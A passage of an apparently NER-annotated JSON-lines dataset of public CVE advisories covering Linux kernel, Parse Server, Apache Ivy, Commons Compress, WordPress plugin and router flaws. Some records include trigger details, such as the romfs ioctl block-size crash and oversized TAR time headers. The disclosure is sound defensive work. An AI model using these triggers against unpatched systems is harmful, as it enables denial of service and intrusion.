__qdisc_run+0x249/0x1e60 net/sched/sch_generic.c:415\n  [<ffffffff84d7aa96>] qdisc_run+0xd6/0x260 include/net/pkt_sched.h:125\n  [<ffffffff84d85d29>] net_tx_action+0x7c9/0x970 net/core/dev.c:5313\n  [<ffffffff85e002bd>] __do_softirq+0x2bd/0x9bd kernel/softirq.c:616\n  [<ffffffff81568bca>] invoke_softirq kernel/softirq.c:447 [inline]\n  [<ffffffff81568bca>] __irq_exit_rcu+0xca/0x230 kernel/softirq.c:700\n  [<ffffffff81568ae9>] irq_exit_rcu+0x9/0x20 kernel/softirq.c:712\n  [<ffffffff85b89f52>] sysvec_apic_timer_interrupt+0x42/0x90 arch/x86/kernel/apic/apic.c:1107\n  [<ffffffff85c00ccb>] asm_sysvec_apic_timer_interrupt+0x1b/0x20 arch/x86/include/asm/idtentry.h:656", "spans": {"FILEPATH: /sched/sch_api.c": [[376, 392], [1397, 1413], [1946, 1962], [2031, 2047]], "FILEPATH: /linux/rcupdate.h": [[637, 654], [745, 762], [1162, 1179], [1270, 1287]], "FILEPATH: /core/dev.c": [[861, 872], [1065, 1076], [2628, 2639]], "FILEPATH: /linux/spinlock.h": [[950, 967]], "FILEPATH: /25/2024": [[1578, 1586]], "FILEPATH: /locking/lockdep.c": [[1872, 1890]], "FILEPATH: /sched/sch_fifo.c": [[2109, 2126]], "FILEPATH: /net/sch_generic.h": [[2174, 2192]], "FILEPATH: /sched/sch_netem.c": [[2259, 2277]], "FILEPATH: /sched/sch_generic.c": [[2320, 2340], [2394, 2414], [2479, 2499]], "FILEPATH: /net/pkt_sched.h": [[2555, 2571]], "FILEPATH: /x86/kernel/apic/apic.c": [[2983, 3006]], "FILEPATH: /x86/include/asm/idtentry.h": [[3081, 3108]], "FILEPATH: dump_stack.c": [[1647, 1659], [1726, 1738], [1791, 1803]], "FILEPATH: softirq.c": [[2700, 2709], [2759, 2768], [2838, 2847], [2904, 2913]], "SYSTEM: Linux kernel": [[7, 19]], "ORGANIZATION: Google": [[1512, 1518], [1519, 1525], [1541, 1547], [1569, 1575]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-35892"}}
{"text": "Parse Server is an open source backend that can be deployed to any infrastructure that can run Node.js. Prior to 9.6.0-alpha.20 and 8.6.44, an attacker can bypass the default request keyword denylist protection and the class-level permission for adding fields by sending a crafted request that exploits prototype pollution in the deep copy mechanism. This allows injecting fields into class schemas that have field addition locked down, and can cause permanent schema type conflicts that cannot be resolved even with the master key. In 9.6.0-alpha.20 and 8.6.44, the vulnerable third-party deep copy library has been replaced with a built-in deep clone mechanism that handles prototype properties safely, allowing the existing denylist check to correctly detect and reject the prohibited keyword. No known workarounds are available.", "spans": {"FILEPATH: Node.js": [[95, 102]], "VULNERABILITY: prototype pollution": [[303, 322]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-32878"}}
{"text": "SQLpage is a SQL-only webapp builder. Someone using SQLpage versions prior to 0.11.1, whose SQLpage instance is exposed publicly, with a database connection string specified in the `sqlpage/sqlpage.json` configuration file (not in an environment variable), with the web_root is the current working directory (the default), and with their database exposed publicly, is vulnerable to an attacker retrieving database connection information from SQLPage and using it to connect to their database directly. Version 0.11.0 fixes this issue. Some workarounds are available. Using an environment variable instead of the configuration file to specify the database connection string prevents exposing it on vulnerable versions. Using a different web root (that is not a parent of the SQLPage configuration directory) fixes the issue. One should also avoid exposing one's database publicly.", "spans": {"FILEPATH: sqlpage.json": [[190, 202]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-42454"}}
{"text": "Improper Restriction of XML External Entity Reference, XML Injection (aka Blind XPath Injection) vulnerability in Apache Software Foundation Apache Ivy.This issue affects any version of Apache Ivy prior to 2.5.2.\n\nWhen Apache Ivy prior to 2.5.2 parses XML files - either its own configuration, Ivy files or Apache Maven POMs - it will allow downloading external document type definitions and expand any entity references contained therein when used.\n\nThis can be used to exfiltrate data, access resources only the machine running Ivy has access to or disturb the execution of Ivy in different ways.\n\nStarting with Ivy 2.5.2 DTD processing is disabled by default except when parsing Maven POMs where the default is to allow DTD processing but only to include a DTD snippet shipping with Ivy that is needed to deal with existing Maven POMs that are not valid XML files but are nevertheless accepted by Maven. Access can be be made more lenient via newly introduced system properties where needed.\n\nUsers of Ivy prior to version 2.5.2 can use Java system properties to restrict processing of external DTDs, see the section about \"JAXP Properties for External Access restrictions\" inside Oracle's \"Java API for XML Processing (JAXP) Security Guide\".", "spans": {"SYSTEM: Java": [[1040, 1044], [1194, 1198]], "ORGANIZATION: Oracle": [[1184, 1190]], "ORGANIZATION: Apache": [[114, 120], [141, 147], [186, 192], [219, 225], [307, 313]], "VULNERABILITY: XML External Entity": [[24, 43]], "VULNERABILITY: XPath Injection": [[80, 95]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-46751"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nromfs: check sb_set_blocksize() return value\n\nromfs_fill_super() ignores the return value of sb_set_blocksize(), which\ncan fail if the requested block size is incompatible with the block\ndevice's configuration.\n\nThis can be triggered by setting a loop device's block size larger than\nPAGE_SIZE using ioctl(LOOP_SET_BLOCK_SIZE, 32768), then mounting a romfs\nfilesystem on that device.\n\nWhen sb_set_blocksize(sb, ROMBSIZE) is called with ROMBSIZE=4096 but the\ndevice has logical_block_size=32768, bdev_validate_blocksize() fails\nbecause the requested size is smaller than the device's logical block\nsize. sb_set_blocksize() returns 0 (failure), but romfs ignores this and\ncontinues mounting.\n\nThe superblock's block size remains at the device's logical block size\n(32768). Later, when sb_bread() attempts I/O with this oversized block\nsize, it triggers a kernel BUG in folio_set_bh():\n\n    kernel BUG at fs/buffer.c:1582!\n    BUG_ON(size > PAGE_SIZE);\n\nFix by checking the return value of sb_set_blocksize() and failing the\nmount with -EINVAL if it returns 0.", "spans": {"FILEPATH: buffer.c": [[974, 982]], "SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-23238"}}
{"text": "TensorFlow is an end-to-end open source platform for machine learning. An attacker can cause a runtime division by zero error and denial of service in `tf.raw_ops.QuantizedBatchNormWithGlobalNormalization`. This is because the implementation(https://github.com/tensorflow/tensorflow/blob/55a97caa9e99c7f37a0bbbeb414dc55553d3ae7f/tensorflow/core/kernels/quantized_batch_norm_op.cc) does not validate all constraints specified in the op's contract(https://www.tensorflow.org/api_docs/python/tf/raw_ops/QuantizedBatchNormWithGlobalNormalization). The fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.", "spans": {"URL: https://github.com/tensorflow/tensorflow/blob/55a97caa9e99c7f37a0bbbeb414dc55553d3ae7f/tensorflow/core/kernels/quantized_batch_norm_op.cc": [[242, 379]], "URL: https://www.tensorflow.org/api_docs/python/tf/raw_ops/QuantizedBatchNormWithGlobalNormalization": [[446, 541]], "VULNERABILITY: denial of service": [[130, 147]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-29548"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nscsi: iscsi_tcp: Fix UAF during logout when accessing the shost ipaddress\n\nBug report and analysis from Ding Hui.\n\nDuring iSCSI session logout, if another task accesses the shost ipaddress\nattr, we can get a KASAN UAF report like this:\n\n[  276.942144] BUG: KASAN: use-after-free in _raw_spin_lock_bh+0x78/0xe0\n[  276.942535] Write of size 4 at addr ffff8881053b45b8 by task cat/4088\n[  276.943511] CPU: 2 PID: 4088 Comm: cat Tainted: G            E      6.1.0-rc8+ #3\n[  276.943997] Hardware name: VMware, Inc. VMware Virtual Platform/440BX Desktop Reference Platform, BIOS 6.00 11/12/2020\n[  276.944470] Call Trace:\n[  276.944943]  <TASK>\n[  276.945397]  dump_stack_lvl+0x34/0x48\n[  276.945887]  print_address_description.constprop.0+0x86/0x1e7\n[  276.946421]  print_report+0x36/0x4f\n[  276.947358]  kasan_report+0xad/0x130\n[  276.948234]  kasan_check_range+0x35/0x1c0\n[  276.948674]  _raw_spin_lock_bh+0x78/0xe0\n[  276.949989]  iscsi_sw_tcp_host_get_param+0xad/0x2e0 [iscsi_tcp]\n[  276.951765]  show_host_param_ISCSI_HOST_PARAM_IPADDRESS+0xe9/0x130 [scsi_transport_iscsi]\n[  276.952185]  dev_attr_show+0x3f/0x80\n[  276.953005]  sysfs_kf_seq_show+0x1fb/0x3e0\n[  276.953401]  seq_read_iter+0x402/0x1020\n[  276.954260]  vfs_read+0x532/0x7b0\n[  276.955113]  ksys_read+0xed/0x1c0\n[  276.955952]  do_syscall_64+0x38/0x90\n[  276.956347]  entry_SYSCALL_64_after_hwframe+0x63/0xcd\n[  276.956769] RIP: 0033:0x7f5d3a679222\n[  276.957161] Code: c0 e9 b2 fe ff ff 50 48 8d 3d 32 c0 0b 00 e8 a5 fe 01 00 0f 1f 44 00 00 f3 0f 1e fa 64 8b 04 25 18 00 00 00 85 c0 75 10 0f 05 <48> 3d 00 f0 ff ff 77 56 c3 0f 1f 44 00 00 48 83 ec 28 48 89 54 24\n[  276.958009] RSP: 002b:00007ffc864d16a8 EFLAGS: 00000246 ORIG_RAX: 0000000000000000\n[  276.958431] RAX: ffffffffffffffda RBX: 0000000000020000 RCX: 00007f5d3a679222\n[  276.958857] RDX: 0000000000020000 RSI: 00007f5d3a4fe000 RDI: 0000000000000003\n[  276.959281] RBP: 00007f5d3a4fe000 R08: 00000000ffffffff R09: 0000000000000000\n[  276.959682] R10: 0000000000000022 R11: 0000000000000246 R12: 0000000000020000\n[  276.960126] R13: 0000000000000003 R14: 0000000000000000 R15: 0000557a26dada58\n[  276.960536]  </TASK>\n[  276.961357] Allocated by task 2209:\n[  276.961756]  kasan_save_stack+0x1e/0x40\n[  276.962170]  kasan_set_track+0x21/0x30\n[  276.962557]  __kasan_kmalloc+0x7e/0x90\n[  276.962923]  __kmalloc+0x5b/0x140\n[  276.963308]  iscsi_alloc_session+0x28/0x840 [scsi_transport_iscsi]\n[  276.963712]  iscsi_session_setup+0xda/0xba0 [libiscsi]\n[  276.964078]  iscsi_sw_tcp_session_create+0x1fd/0x330 [iscsi_tcp]\n[  276.964431]  iscsi_if_create_session.isra.0+0x50/0x260 [scsi_transport_iscsi]\n[  276.964793]  iscsi_if_recv_msg+0xc5a/0x2660 [scsi_transport_iscsi]\n[  276.965153]  iscsi_if_rx+0x198/0x4b0 [scsi_transport_iscsi]\n[  276.965546]  netlink_unicast+0x4d5/0x7b0\n[  276.965905]  netlink_sendmsg+0x78d/0xc30\n[  276.966236]  sock_sendmsg+0xe5/0x120\n[  276.966576]  ____sys_sendmsg+0x5fe/0x860\n[  276.966923]  ___sys_sendmsg+0xe0/0x170\n[  276.967300]  __sys_sendmsg+0xc8/0x170\n[  276.967666]  do_syscall_64+0x38/0x90\n[  276.968028]  entry_SYSCALL_64_after_hwframe+0x63/0xcd\n[  276.968773] Freed by task 2209:\n[  276.969111]  kasan_save_stack+0x1e/0x40\n[  276.969449]  kasan_set_track+0x21/0x30\n[  276.969789]  kasan_save_free_info+0x2a/0x50\n[  276.970146]  __kasan_slab_free+0x106/0x190\n[  276.970470]  __kmem_cache_free+0x133/0x270\n[  276.970816]  device_release+0x98/0x210\n[  276.971145]  kobject_cleanup+0x101/0x360\n[  276.971462]  iscsi_session_teardown+0x3fb/0x530 [libiscsi]\n[  276.971775]  iscsi_sw_tcp_session_destroy+0xd8/0x130 [iscsi_tcp]\n[  276.972143]  iscsi_if_recv_msg+0x1bf1/0x2660 [scsi_transport_iscsi]\n[  276.972485]  iscsi_if_rx+0x198/0x4b0 [scsi_transport_iscsi]\n[  276.972808]  netlink_unicast+0x4d5/0x7b0\n[  276.973201]  netlink_sendmsg+0x78d/0xc30\n[  276.973544]  sock_sendmsg+0xe5/0x120\n[  276.973864]  ____sys_sendmsg+0x5fe/0x860\n[  276.974248]  ___sys_\n---truncated---", "spans": {"FILEPATH: /12/2020": [[650, 658]], "SYSTEM: Linux kernel": [[7, 19]], "ORGANIZATION: VMware": [[567, 573], [580, 586]], "VULNERABILITY: use-after-free": [[333, 347]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-52975"}}
{"text": "Improper Input Validation, Uncontrolled Resource Consumption vulnerability in Apache Commons Compress in TAR parsing.This issue affects Apache Commons Compress: from 1.22 before 1.24.0.\n\nUsers are recommended to upgrade to version 1.24.0, which fixes the issue.\n\nA third party can create a malformed TAR file by manipulating file modification times headers, which when parsed with Apache Commons Compress, will cause a denial of service issue via CPU consumption.\n\nIn version 1.22 of Apache Commons Compress, support was added for file modification times with higher precision (issue # COMPRESS-612 [1]). The format for the PAX extended headers carrying this data consists of two numbers separated by a period [2], indicating seconds and subsecond precision (for example “1647221103.5998539”). The impacted fields are “atime”, “ctime”, “mtime” and “LIBARCHIVE.creationtime”. No input validation is performed prior to the parsing of header values.\n\nParsing of these numbers uses the BigDecimal [3] class from the JDK which has a publicly known algorithmic complexity issue when doing operations on large numbers, causing denial of service (see issue # JDK-6560193 [4]). A third party can manipulate file time headers in a TAR file by placing a number with a very long fraction (300,000 digits) or a number with exponent notation (such as “9e9999999”) within a file modification time header, and the parsing of files with these headers will take hours instead of seconds, leading to a denial of service via exhaustion of CPU resources. This issue is similar to CVE-2012-2098 [5].\n\n[1]:  https://issues.apache.org/jira/browse/COMPRESS-612 \n[2]:  https://pubs.opengroup.org/onlinepubs/9699919799/utilities/pax.html#tag_20_92_13_05 \n[3]:  https://docs.oracle.com/javase/8/docs/api/java/math/BigDecimal.html \n[4]:  https://bugs.openjdk.org/browse/JDK-6560193 \n[5]:  https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-2098 \n\nOnly applications using CompressorStreamFactory class (with auto-detection of file types), TarArchiveInputStream and TarFile classes to parse TAR files are impacted. Since this code was introduced in v1.22, only that version and later versions are impacted.", "spans": {"CVE_ID: CVE-2012-2098": [[1559, 1572], [1907, 1920]], "URL: https://issues.apache.org/jira/browse/COMPRESS-612": [[1585, 1635]], "URL: https://pubs.opengroup.org/onlinepubs/9699919799/utilities/pax.html#tag_20_92_13_05": [[1643, 1726]], "URL: https://docs.oracle.com/javase/8/docs/api/java/math/BigDecimal.html": [[1734, 1801]], "URL: https://bugs.openjdk.org/browse/JDK-6560193": [[1809, 1852]], "DOMAIN: cve.mitre.org": [[1868, 1881]], "FILEPATH: cvename.cgi": [[1890, 1901]], "SYSTEM: Apache Commons": [[78, 92], [136, 150], [381, 395], [484, 498]], "VULNERABILITY: Uncontrolled Resource Consumption": [[27, 60]], "VULNERABILITY: Improper Input Validation": [[0, 25]], "VULNERABILITY: denial of service": [[419, 436], [1120, 1137], [1483, 1500]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-42503"}}
{"text": "Next.js is an open source website development framework to be used with the React library. In affected versions specially encoded paths could be used when pages/_error.js was statically generated allowing an open redirect to occur to an external site. In general, this redirect does not directly harm users although can allow for phishing attacks by redirecting to an attacker's domain from a trusted domain. We recommend everyone to upgrade regardless of whether you can reproduce the issue or not. The issue has been patched in release 11.1.0.", "spans": {"FILEPATH: Next.js": [[0, 7]], "FILEPATH: _error.js": [[161, 170]], "VULNERABILITY: open redirect": [[208, 221]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-37699"}}
{"text": "Certain NETGEAR devices are affected by a stack-based buffer overflow by an unauthenticated attacker. This affects D3600 before 1.0.0.76, D6000 before 1.0.0.78, D6200 before 1.1.00.32, D7000 before 1.0.1.68, D7800 before 1.0.1.56, DM200 before 1.0.0.61, EX2700 before 1.0.1.52, EX6100v2 before 1.0.1.76, EX6150v2 before 1.0.1.76, EX6200v2 before 1.0.1.74, EX6400 before 1.0.2.140, EX7300 before 1.0.2.140, EX8000 before 1.0.1.186, JR6150 before 1.0.1.18, PR2000 before 1.0.0.28, R6020 before 1.0.0.38, R6050 before 1.0.1.18, R6080 before 1.0.0.38, R6120 before 1.0.0.46, R6220 before 1.1.0.80, R6230 before 1.1.0.80, R6260 before 1.1.0.40, R6700v2 before 1.2.0.36, R6800 before 1.2.0.36, R6900v2 before 1.2.0.36, R7500v2 before 1.0.3.40, R7800 before 1.0.2.62, R8900 before 1.0.4.12, R9000 before 1.0.4.12, RBK20 before 2.3.0.28, RBR20 before 2.3.0.28, RBS20 before 2.3.0.28, RBK40 before 2.3.0.28, RBR40 before 2.3.0.28, RBS40 before 2.3.0.28, RBK50 before 2.3.0.32, RBR50 before 2.3.0.32, RBS50 before 2.3.0.32, WN2000RPTv3 before 1.0.1.34, WN3000RPv2 before 1.0.0.78, WN3000RPv2 before 1.0.0.78, WN3000RPv3 before 1.0.2.78, WN3100RPv2 before 1.0.0.66, WNR2000v5 before 1.0.0.70, WNR2020 before 1.1.0.62, XR450 before 2.3.2.32, and XR500 before 2.3.2.32.", "spans": {"IP_ADDRESS: 1.0.0.76": [[128, 136]], "IP_ADDRESS: 1.0.0.78": [[151, 159], [1061, 1069], [1089, 1097]], "IP_ADDRESS: 1.1.00.32": [[174, 183]], "IP_ADDRESS: 1.0.1.68": [[198, 206]], "IP_ADDRESS: 1.0.1.56": [[221, 229]], "IP_ADDRESS: 1.0.0.61": [[244, 252]], "IP_ADDRESS: 1.0.1.52": [[268, 276]], "IP_ADDRESS: 1.0.1.76": [[294, 302], [320, 328]], "IP_ADDRESS: 1.0.1.74": [[346, 354]], "IP_ADDRESS: 1.0.2.140": [[370, 379], [395, 404]], "IP_ADDRESS: 1.0.1.186": [[420, 429]], "IP_ADDRESS: 1.0.1.18": [[445, 453], [515, 523]], "IP_ADDRESS: 1.0.0.28": [[469, 477]], "IP_ADDRESS: 1.0.0.38": [[492, 500], [538, 546]], "IP_ADDRESS: 1.0.0.46": [[561, 569]], "IP_ADDRESS: 1.1.0.80": [[584, 592], [607, 615]], "IP_ADDRESS: 1.1.0.40": [[630, 638]], "IP_ADDRESS: 1.2.0.36": [[655, 663], [678, 686], [703, 711]], "IP_ADDRESS: 1.0.3.40": [[728, 736]], "IP_ADDRESS: 1.0.2.62": [[751, 759]], "IP_ADDRESS: 1.0.4.12": [[774, 782], [797, 805]], "IP_ADDRESS: 2.3.0.28": [[820, 828], [843, 851], [866, 874], [889, 897], [912, 920], [935, 943]], "IP_ADDRESS: 2.3.0.32": [[958, 966], [981, 989], [1004, 1012]], "IP_ADDRESS: 1.0.1.34": [[1033, 1041]], "IP_ADDRESS: 1.0.2.78": [[1117, 1125]], "IP_ADDRESS: 1.0.0.66": [[1145, 1153]], "IP_ADDRESS: 1.0.0.70": [[1172, 1180]], "IP_ADDRESS: 1.1.0.62": [[1197, 1205]], "IP_ADDRESS: 2.3.2.32": [[1220, 1228], [1247, 1255]], "VULNERABILITY: stack-based buffer overflow": [[42, 69]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-35799"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\napparmor: avoid crash when parsed profile name is empty\n\nWhen processing a packed profile in unpack_profile() described like\n\n \"profile :ns::samba-dcerpcd /usr/lib*/samba/{,samba/}samba-dcerpcd {...}\"\n\na string \":samba-dcerpcd\" is unpacked as a fully-qualified name and then\npassed to aa_splitn_fqname().\n\naa_splitn_fqname() treats \":samba-dcerpcd\" as only containing a namespace.\nThus it returns NULL for tmpname, meanwhile tmpns is non-NULL. Later\naa_alloc_profile() crashes as the new profile name is NULL now.\n\ngeneral protection fault, probably for non-canonical address 0xdffffc0000000000: 0000 [#1] PREEMPT SMP KASAN NOPTI\nKASAN: null-ptr-deref in range [0x0000000000000000-0x0000000000000007]\nCPU: 6 PID: 1657 Comm: apparmor_parser Not tainted 6.7.0-rc2-dirty #16\nHardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS rel-1.16.2-3-gd478f380-rebuilt.opensuse.org 04/01/2014\nRIP: 0010:strlen+0x1e/0xa0\nCall Trace:\n <TASK>\n ? strlen+0x1e/0xa0\n aa_policy_init+0x1bb/0x230\n aa_alloc_profile+0xb1/0x480\n unpack_profile+0x3bc/0x4960\n aa_unpack+0x309/0x15e0\n aa_replace_profiles+0x213/0x33c0\n policy_update+0x261/0x370\n profile_replace+0x20e/0x2a0\n vfs_write+0x2af/0xe00\n ksys_write+0x126/0x250\n do_syscall_64+0x46/0xf0\n entry_SYSCALL_64_after_hwframe+0x6e/0x76\n </TASK>\n---[ end trace 0000000000000000 ]---\nRIP: 0010:strlen+0x1e/0xa0\n\nIt seems such behaviour of aa_splitn_fqname() is expected and checked in\nother places where it is called (e.g. aa_remove_profiles). Well, there\nis an explicit comment \"a ns name without a following profile is allowed\"\ninside.\n\nAFAICS, nothing can prevent unpacked \"name\" to be in form like\n\":samba-dcerpcd\" - it is passed from userspace.\n\nDeny the whole profile set replacement in such case and inform user with\nEPROTO and an explaining message.\n\nFound by Linux Verification Center (linuxtesting.org).", "spans": {"DOMAIN: rel-1.16.2-3-gd478f380-rebuilt.opensuse.org": [[901, 944]], "DOMAIN: linuxtesting.org": [[1894, 1910]], "FILEPATH: /usr/lib": [[224, 232]], "FILEPATH: /01/2014": [[947, 955]], "SYSTEM: Linux kernel": [[7, 19]], "SYSTEM: Linux": [[1867, 1872]], "SYSTEM: QEMU": [[856, 860]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-52443"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nbtrfs: fix use-after-free in btrfs_encoded_read_endio()\n\nShinichiro reported the following use-after free that sometimes is\nhappening in our CI system when running fstests' btrfs/284 on a TCMU\nrunner device:\n\n  BUG: KASAN: slab-use-after-free in lock_release+0x708/0x780\n  Read of size 8 at addr ffff888106a83f18 by task kworker/u80:6/219\n\n  CPU: 8 UID: 0 PID: 219 Comm: kworker/u80:6 Not tainted 6.12.0-rc6-kts+ #15\n  Hardware name: Supermicro Super Server/X11SPi-TF, BIOS 3.3 02/21/2020\n  Workqueue: btrfs-endio btrfs_end_bio_work [btrfs]\n  Call Trace:\n   <TASK>\n   dump_stack_lvl+0x6e/0xa0\n   ? lock_release+0x708/0x780\n   print_report+0x174/0x505\n   ? lock_release+0x708/0x780\n   ? __virt_addr_valid+0x224/0x410\n   ? lock_release+0x708/0x780\n   kasan_report+0xda/0x1b0\n   ? lock_release+0x708/0x780\n   ? __wake_up+0x44/0x60\n   lock_release+0x708/0x780\n   ? __pfx_lock_release+0x10/0x10\n   ? __pfx_do_raw_spin_lock+0x10/0x10\n   ? lock_is_held_type+0x9a/0x110\n   _raw_spin_unlock_irqrestore+0x1f/0x60\n   __wake_up+0x44/0x60\n   btrfs_encoded_read_endio+0x14b/0x190 [btrfs]\n   btrfs_check_read_bio+0x8d9/0x1360 [btrfs]\n   ? lock_release+0x1b0/0x780\n   ? trace_lock_acquire+0x12f/0x1a0\n   ? __pfx_btrfs_check_read_bio+0x10/0x10 [btrfs]\n   ? process_one_work+0x7e3/0x1460\n   ? lock_acquire+0x31/0xc0\n   ? process_one_work+0x7e3/0x1460\n   process_one_work+0x85c/0x1460\n   ? __pfx_process_one_work+0x10/0x10\n   ? assign_work+0x16c/0x240\n   worker_thread+0x5e6/0xfc0\n   ? __pfx_worker_thread+0x10/0x10\n   kthread+0x2c3/0x3a0\n   ? __pfx_kthread+0x10/0x10\n   ret_from_fork+0x31/0x70\n   ? __pfx_kthread+0x10/0x10\n   ret_from_fork_asm+0x1a/0x30\n   </TASK>\n\n  Allocated by task 3661:\n   kasan_save_stack+0x30/0x50\n   kasan_save_track+0x14/0x30\n   __kasan_kmalloc+0xaa/0xb0\n   btrfs_encoded_read_regular_fill_pages+0x16c/0x6d0 [btrfs]\n   send_extent_data+0xf0f/0x24a0 [btrfs]\n   process_extent+0x48a/0x1830 [btrfs]\n   changed_cb+0x178b/0x2ea0 [btrfs]\n   btrfs_ioctl_send+0x3bf9/0x5c20 [btrfs]\n   _btrfs_ioctl_send+0x117/0x330 [btrfs]\n   btrfs_ioctl+0x184a/0x60a0 [btrfs]\n   __x64_sys_ioctl+0x12e/0x1a0\n   do_syscall_64+0x95/0x180\n   entry_SYSCALL_64_after_hwframe+0x76/0x7e\n\n  Freed by task 3661:\n   kasan_save_stack+0x30/0x50\n   kasan_save_track+0x14/0x30\n   kasan_save_free_info+0x3b/0x70\n   __kasan_slab_free+0x4f/0x70\n   kfree+0x143/0x490\n   btrfs_encoded_read_regular_fill_pages+0x531/0x6d0 [btrfs]\n   send_extent_data+0xf0f/0x24a0 [btrfs]\n   process_extent+0x48a/0x1830 [btrfs]\n   changed_cb+0x178b/0x2ea0 [btrfs]\n   btrfs_ioctl_send+0x3bf9/0x5c20 [btrfs]\n   _btrfs_ioctl_send+0x117/0x330 [btrfs]\n   btrfs_ioctl+0x184a/0x60a0 [btrfs]\n   __x64_sys_ioctl+0x12e/0x1a0\n   do_syscall_64+0x95/0x180\n   entry_SYSCALL_64_after_hwframe+0x76/0x7e\n\n  The buggy address belongs to the object at ffff888106a83f00\n   which belongs to the cache kmalloc-rnd-07-96 of size 96\n  The buggy address is located 24 bytes inside of\n   freed 96-byte region [ffff888106a83f00, ffff888106a83f60)\n\n  The buggy address belongs to the physical page:\n  page: refcount:1 mapcount:0 mapping:0000000000000000 index:0xffff888106a83800 pfn:0x106a83\n  flags: 0x17ffffc0000000(node=0|zone=2|lastcpupid=0x1fffff)\n  page_type: f5(slab)\n  raw: 0017ffffc0000000 ffff888100053680 ffffea0004917200 0000000000000004\n  raw: ffff888106a83800 0000000080200019 00000001f5000000 0000000000000000\n  page dumped because: kasan: bad access detected\n\n  Memory state around the buggy address:\n   ffff888106a83e00: fa fb fb fb fb fb fb fb fb fb fb fb fc fc fc fc\n   ffff888106a83e80: fa fb fb fb fb fb fb fb fb fb fb fb fc fc fc fc\n  >ffff888106a83f00: fa fb fb fb fb fb fb fb fb fb fb fb fc fc fc fc\n                              ^\n   ffff888106a83f80: fa fb fb fb fb fb fb fb fb fb fb fb fc fc fc fc\n   ffff888106a84000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n  ==================================================================\n\nFurther analyzing the trace and \n---truncated---", "spans": {"FILEPATH: /21/2020": [[549, 557]], "SYSTEM: Linux kernel": [[7, 19]], "VULNERABILITY: use-after-free": [[80, 94], [297, 311]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-56582"}}
{"text": "ArchiveBox is an open source self-hosted web archiving system. Any users who are using the `wget` extractor and view the content it outputs. The impact is potentially severe if you are logged in to the ArchiveBox admin site in the same browser session and view an archived malicious page designed to target your ArchiveBox instance. Malicious Javascript could potentially act using your logged-in admin credentials and add/remove/modify snapshots, add/remove/modify ArchiveBox users, and generally do anything an admin user could do. The impact is less severe for non-logged-in users, as malicious Javascript cannot *modify* any archives, but it can still *read* all the other archived content by fetching the snapshot index and iterating through it. Because all of ArchiveBox's archived content is served from the same host and port as the admin panel, when archived pages are viewed the JS executes in the same context as all the other archived pages (and the admin panel), defeating most of the browser's usual CORS/CSRF security protections and leading to this issue. A patch is being developed in https://github.com/ArchiveBox/ArchiveBox/issues/239. As a mitigation for this issue would be to disable the wget extractor by setting `archivebox config --set SAVE_WGET=False`, ensure you are always logged out, or serve only a [static HTML version](https://github.com/ArchiveBox/ArchiveBox/wiki/Publishing-Your-Archive#2-export-and-host-it-as-static-html) of your archive.", "spans": {"URL: https://github.com/ArchiveBox/ArchiveBox/issues/239.": [[1102, 1154]], "URL: https://github.com/ArchiveBox/ArchiveBox/wiki/Publishing-Your-Archive#2-export-and-host-it-as-static-html": [[1351, 1456]], "FILEPATH: /remove/modify": [[422, 436], [451, 465]], "SYSTEM: wget": [[92, 96], [1210, 1214]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-45815"}}
{"text": "The Canto plugin for WordPress is vulnerable to Missing Authorization in all versions up to, and including, 3.1.1 via the `/wp-content/plugins/canto/includes/lib/copy-media.php` file. This is due to the file being directly accessible without any authentication, authorization, or nonce checks, and the `fbc_flight_domain` and `fbc_app_api` URL components being accepted as user-supplied POST parameters rather than read from admin-configured options. Since the attacker controls both the destination server and the `fbc_app_token` value, the entire fetch-and-upload chain is attacker-controlled — the server never contacts Canto's legitimate API, and the uploaded file originates entirely from the attacker's infrastructure. This makes it possible for unauthenticated attackers to upload arbitrary files (constrained to WordPress-allowed MIME types) to the WordPress uploads directory. Additional endpoints (`detail.php`, `download.php`, `get.php`, `tree.php`) are also directly accessible without authentication and make requests using a user-supplied `app_api` parameter combined with an admin-configured subdomain.", "spans": {"FILEPATH: /wp-content/plugins/canto/includes/lib/copy-media.php": [[123, 176]], "FILEPATH: detail.php": [[909, 919]], "FILEPATH: download.php": [[923, 935]], "FILEPATH: get.php": [[939, 946]], "FILEPATH: tree.php": [[950, 958]], "SYSTEM: WordPress": [[21, 30], [820, 829], [857, 866]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-3335"}}
{"text": "** UNSUPPORTED WHEN ASSIGNED ** A vulnerability was found in Chris92de AdminServ. It has been declared as problematic. This vulnerability affects unknown code of the file resources/core/adminserv.php. The manipulation of the argument text leads to cross site scripting. The attack can be initiated remotely. The patch is identified as 3ed17dab3b4d6e8bf1c82ddfbf882314365e9cd7. It is recommended to apply a patch to fix this issue. VDB-217042 is the identifier assigned to this vulnerability. NOTE: This vulnerability only affects products that are no longer supported by the maintainer.", "spans": {"HASH: 3ed17dab3b4d6e8bf1c82ddfbf882314365e9cd7": [[335, 375]], "FILEPATH: /core/adminserv.php.": [[180, 200]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-36637"}}
